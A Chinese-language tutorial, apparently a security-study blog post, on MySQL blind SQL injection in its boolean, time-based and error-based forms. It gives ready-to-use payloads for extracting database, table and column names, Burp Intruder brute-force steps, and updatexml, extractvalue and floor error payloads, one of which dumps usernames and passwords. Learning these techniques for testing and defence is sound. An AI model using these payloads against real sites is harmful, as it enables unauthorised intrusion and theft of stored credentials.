目录
一,盲注-时间&布尔&报错型
1.基于布尔的SQL盲注-逻辑判断
1.1布尔类型盲注判断
1.2布尔型盲注注入流程
1.2.1、在参数后添加引号尝试报错,并用and 1=1#和and 1=2#测试报错
1.2.2、判断数据库名的长度
1.2.3、猜解数据库名
1.2.4、判断数据库表名
1.2.5、判断数据库字段名
1.2.6、取数据
1.3案例演示-BupSuite
2.基于时间的SQL盲注-延时判断
2.1时间类型盲注判断
2.2时间类型盲注注入方法
3.基于报错的SQL盲注-报错回显
3.1报错类型盲注判断
3.2报错盲注注入流程
3.2.1、尝试用单引号报错
3.2.2、获取数据库名
3.2.3、获取表名
3.2.4、获取字段名
3.2.5、取数据
盲注就是在注入的过程中,获取的数据不能回显到前端页面,此时,我们要利用一些方法进行判断 或者尝试,这个过程称之为盲注。解决union注入不行的情况
盲注可以分为以下三类:
布尔型盲注要有数据库判断标注 ?id=1 and length(database())=7
布尔型盲注,页面不返回查询信息的数据,只能通过页面返回信息的真假条件判断是否存在注入。
常用函数
length(string) //字符串长度。
substr(string,1,1) //从第一位开始的第一个数。
left (string,n) //string为要截取的字符串,n为长度。
mid((string,1,1) //从第一位开始的第一个数。
正则表达式:string regexp '^p' //字符串第一个字符是p。
string like 'p%' //字符串第一个字符是p。
if语句:if(判断条件,正确返回的值,错误返回的值)
执行非法SQL语句的时候,不会有sql执行错误提示,只会返回错误与正确的输入
?id=1' and 1=1# 页面返回正常
?id=1' and 1=2# 页面返回不正常
1'and length(database())>=13--+ 页面返回正常 1'and length(database())>=13--+ 页面返回正常
1'and length(database())>=14--+ 页面返回错误 由此判断得到数据库名的长度是13个字符
使用逐字符判断的方式获取数据库名; 数据库名的范围一般在a~z、0~9之内,可能还会有特殊字符 "_"、"-" 等,这里的字母不区分大小写。
' and substr(database(),1,1)='a'--+ //猜解第一位
' and substr(database(),2,1)='a'--+ //猜解第二位
//以此类推
substr为截取字符串函数,第一个参数为我们的SQL语句,第二个参数1表示从第一个字符开始,第三个参数表示截取一个字符。并且该字符为a
substr 的用法和 limit 有区别,limit从 0 开始排序,这里从 1 开始排序。 用Burp爆破字母a的位置,即可得到数据库名每个位置上的字符。
还可以用ASCII码查询,a 的ASCII码是97,在MySQL中使用ord函数转换ASCII,所以逐字符判断语句可改为:
' and ord(substr(database(),1,1))=97--+ ASCII码表中可显示字符的范围是:0~127
' and substr((select table_name from information_schema.tables where
table_schema='数据库名' limit 0,1),1,1)='a'--+
--修改1,1前边的1~20,逐字符猜解出第一个表的名
--修改limit的0,1前边的0~20,逐个猜解每个表
' and substr((select column_name from information_schema.columns where
table_schema='数据库名' and table_name='表名' limit 0,1),1,1)='a'--+
--修改1,1前边的1~20,逐字符猜解出第一个字段的名
--修改limit的0,1前边的0~20,逐个猜解每个字段
' and substr((select 字段名 from 表名 limit 0,1),1,1)='a'--+
判断当前数据库长度
payload:lili' and length((select database()))=7 and ''='
获取数据库名称
payload为:lili' and substr((select database()),1,1)='a' and ''='
BupSuite暴力破解
将抓取的数据包发送到intruder模块
因此当前数据库第一个字母一个是p
lili' and substr((select database()),2,1)='a' and ''=',将payload改成2,同样的方法破解,以此类推可破解后面的值,即可获得数据库名称
如果觉得手动修改位数麻烦的话,可以选择集束炸弹模式(cluster bomb),同时选择两个参数同时爆破,不过集束炸弹模式对电脑配置要求比较高,如果电脑配置低的话,会跑的很慢,具体操作请看下方截图
设置两个参数
配置第一个payload
配置第二个payload
点击开始爆破:
时间型盲注不需要条件 ?id=1 and if(1=1,sleep(5),0)
页面上没有显示位和SQL语句执行的错误信息,正确执行和错误执行的返回界面一样,此时需要使用时间类型的盲注。
因为时间盲注是运用于没有任何错误信息或者回显的注入情况,所以我们并不能从页面上获取我们发送的语句返回情况,由于发送请求到服务器回显是需要一段时间的,所以我们可以利用回显时间来判断服务器返回情况,其实就是在布尔盲注的基础上加上一个if语句,错误时让页面正常返回,正确时让页面延时返回,由此我们就可以通过返回时间来判断是否注入成功。
可以用benchmark,sleep等造成延时效果的函数。如果benkchmark和sleep关键字被过滤了,可以让两个非常大的数据表做笛卡尔积 (opens new window)产生大量的计算从而产生时间延迟;或者利用复杂的正则表达式去匹配一个超长字符串来产生时间延迟。
1、利用sleep判断数据库名长度
' and sleep(5) and 1=1--+ 页面返回不正常,延时5秒
' and sleep(5) and 1=2--+ 页面返回不正常,不延时
and if(length(database())>1,sleep(5),1)
--if(条件表达式,真,假) --C语言的三目运算符类似
2、获取数据库名
and if(substr(database(),1,1)='a',sleep(5),1)--+
具体数据以此类推即可,这里就不做延时了,因为时间盲注手工太费时间了,知道原理即可,确认了注入点可以直接上Sqlmap
在SQL注入攻击过程中,服务器开启了错误回显,页面会返回错误信息,利用报错函数获取数据库数据。
常用的MySQL报错函数
--xpath语法错误
extractvalue() --查询节点内容
updatexml() --修改查询到的内容
它们的第二个参数都要求是符合xpath语法的字符串
如果不满足要求则会报错,并且将查询结果放在报错信息里
--主键重复(duplicate entry)
floor() --返回小于等于该值的最大整数
只要是count,rand(),group by 三个连用就会造成这种主键重复报错
12种报错注入+万能语句:
?id=2 and updatexml(1,concat(0x7e,(select @@version),0x7e),1)
' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
--0x7e是"~"符号的16进制,在这作为分隔符
' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where
table_schema='数据库名' limit 0,1),0x7e),1)--+
' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where
table_schema='数据库名' and table_name='表名' limit 0,1),0x7e),1)--+
' and updatexml(1,concat(0x7e,(select concat(username,0x3a,password) from users limit
0,1),0x7e),1)--+
其它函数payload语法:
--extractvalue
' and extractvalue(1,concat(0x7e,(select database()),0x7e))--+
--floor()
' and (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from
information_schema.tables group by x)a)--+
1.查询方式增删查改四种特性决定,部分是不需要进行数据取出和显示,所以此类注入基本上要采用盲注才能正得到结果(黑盒测试可以根据功能判断注入查询方式)
2.查询方式增删改查四种特性决定应用功能点(会员注册,删除新闻,修改文章等)